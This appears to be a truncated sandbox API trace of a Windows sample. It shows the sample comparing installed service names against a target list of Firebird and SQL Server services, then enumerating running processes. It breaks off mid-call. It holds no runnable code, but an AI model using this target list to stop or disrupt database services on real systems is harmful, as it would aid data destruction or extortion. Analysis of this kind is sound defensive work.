[0096.154] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0096.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0096.154] lstrlenW (lpString="FontCache") returned 9 [0096.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0096.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0096.154] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0096.154] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0096.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0096.154] lstrlenW (lpString="gpsvc") returned 5 [0096.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0096.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0096.154] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0096.154] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0096.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0096.154] lstrlenW (lpString="iphlpsvc") returned 8 [0096.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.155] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0096.155] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0096.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0096.155] lstrlenW (lpString="KeyIso") returned 6 [0096.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0096.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0096.155] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0096.155] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0096.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0096.155] lstrlenW (lpString="LanmanServer") returned 12 [0096.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0096.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0096.155] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0096.155] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0096.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0096.155] lstrlenW (lpString="LanmanWorkstation") returned 17 [0096.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.155] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0096.155] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0096.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0096.155] lstrlenW (lpString="lfsvc") returned 5 [0096.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0096.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0096.156] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0096.156] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0096.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0096.156] lstrlenW (lpString="lmhosts") returned 7 [0096.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0096.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0096.156] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0096.156] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0096.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0096.156] lstrlenW (lpString="LSM") returned 3 [0096.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0096.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0096.156] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0096.156] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0096.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0096.156] lstrlenW (lpString="MpsSvc") returned 6 [0096.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0096.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0096.156] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0096.156] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0096.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0096.156] lstrlenW (lpString="NcbService") returned 10 [0096.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0096.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0096.157] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0096.157] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0096.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0096.157] lstrlenW (lpString="netprofm") returned 8 [0096.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0096.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0096.157] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0096.157] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0096.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0096.157] lstrlenW (lpString="NlaSvc") returned 6 [0096.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0096.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0096.157] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0096.157] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0096.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0096.157] lstrlenW (lpString="nsi") returned 3 [0096.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0096.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0096.157] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0096.157] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0096.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0096.157] lstrlenW (lpString="PcaSvc") returned 6 [0096.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0096.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0096.158] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0096.158] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0096.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0096.158] lstrlenW (lpString="PlugPlay") returned 8 [0096.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0096.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0096.158] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0096.158] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0096.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0096.158] lstrlenW (lpString="Power") returned 5 [0096.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0096.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0096.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0096.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0096.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0096.158] lstrlenW (lpString="ProfSvc") returned 7 [0096.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0096.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0096.158] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0096.158] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0096.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0096.158] lstrlenW (lpString="RpcEptMapper") returned 12 [0096.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.158] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0096.159] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0096.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0096.159] lstrlenW (lpString="RpcSs") returned 5 [0096.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0096.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0096.159] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0096.159] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0096.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0096.159] lstrlenW (lpString="SamSs") returned 5 [0096.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0096.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0096.159] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0096.159] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0096.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0096.159] lstrlenW (lpString="Schedule") returned 8 [0096.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0096.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0096.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0096.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0096.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0096.159] lstrlenW (lpString="SecurityHealthService") returned 21 [0096.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0096.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0096.159] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0096.159] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0096.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0096.160] lstrlenW (lpString="SENS") returned 4 [0096.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0096.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0096.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0096.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0096.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0096.160] lstrlenW (lpString="ShellHWDetection") returned 16 [0096.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.160] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0096.160] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0096.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0096.160] lstrlenW (lpString="Spooler") returned 7 [0096.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0096.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0096.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0096.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0096.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0096.160] lstrlenW (lpString="sppsvc") returned 6 [0096.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0096.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0096.160] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0096.160] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0096.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0096.160] lstrlenW (lpString="SSDPSRV") returned 7 [0096.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0096.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0096.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0096.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0096.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0096.161] lstrlenW (lpString="StateRepository") returned 15 [0096.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0096.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0096.161] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0096.161] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0096.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0096.161] lstrlenW (lpString="SysMain") returned 7 [0096.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0096.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0096.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0096.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0096.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36870d8 | out: hHeap=0x440000) returned 1 [0096.161] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0096.168] Process32FirstW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.569] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.569] lstrlenW (lpString="System") returned 6 [0096.570] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.570] lstrlenW (lpString="smss.exe") returned 8 [0096.570] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.571] lstrlenW (lpString="csrss.exe") returned 9 [0096.571] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.571] lstrlenW (lpString="wininit.exe") returned 11 [0096.572] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.572] lstrlenW (lpString="csrss.exe") returned 9 [0096.572] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.573] lstrlenW (lpString="winlogon.exe") returned 12 [0096.573] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.573] lstrlenW (lpString="services.exe") returned 12 [0096.573] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.574] lstrlenW (lpString="lsass.exe") returned 9 [0096.574] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.575] lstrlenW (lpString="svchost.exe") returned 11 [0096.575] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.576] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0096.576] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.576] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0096.576] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.577] lstrlenW (lpString="svchost.exe") returned 11 [0096.577] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.578] lstrlenW (lpString="dwm.exe") returned 7 [0096.578] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.578] lstrlenW (lpString="svchost.exe") returned 11 [0096.578] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.579] lstrlenW (lpString="svchost.exe") returned 11 [0096.579] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.580] lstrlenW (lpString="svchost.exe") returned 11 [0096.580] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.580] lstrlenW (lpString="svchost.exe") returned 11 [0096.580] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.581] lstrlenW (lpString="svchost.exe") returned 11 [0096.581] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.581] lstrlenW (lpString="svchost.exe") returned 11 [0096.581] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.582] lstrlenW (lpString="svchost.exe") returned 11 [0096.582] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.583] lstrlenW (lpString="svchost.exe") returned 11 [0096.583] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.583] lstrlenW (lpString="svchost.exe") returned 11 [0096.583] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.584] lstrlenW (lpString="spoolsv.exe") returned 11 [0096.584] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.585] lstrlenW (lpString="svchost.exe") returned 11 [0096.585] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.585] lstrlenW (lpString="svchost.exe") returned 11 [0096.585] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.586] lstrlenW (lpString="audiodg.exe") returned 11 [0096.586] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0096.587] lstrlenW (lpString="sihost.exe") returned 10 [0096.587] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.587] lstrlenW (lpString="svchost.exe") returned 11 [0096.587] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.588] lstrlenW (lpString="taskhostw.exe") returned 13 [0096.588] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0096.588] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0096.589] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0096.589] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0096.589] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.590] lstrlenW (lpString="explorer.exe") returned 12 [0096.591] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: 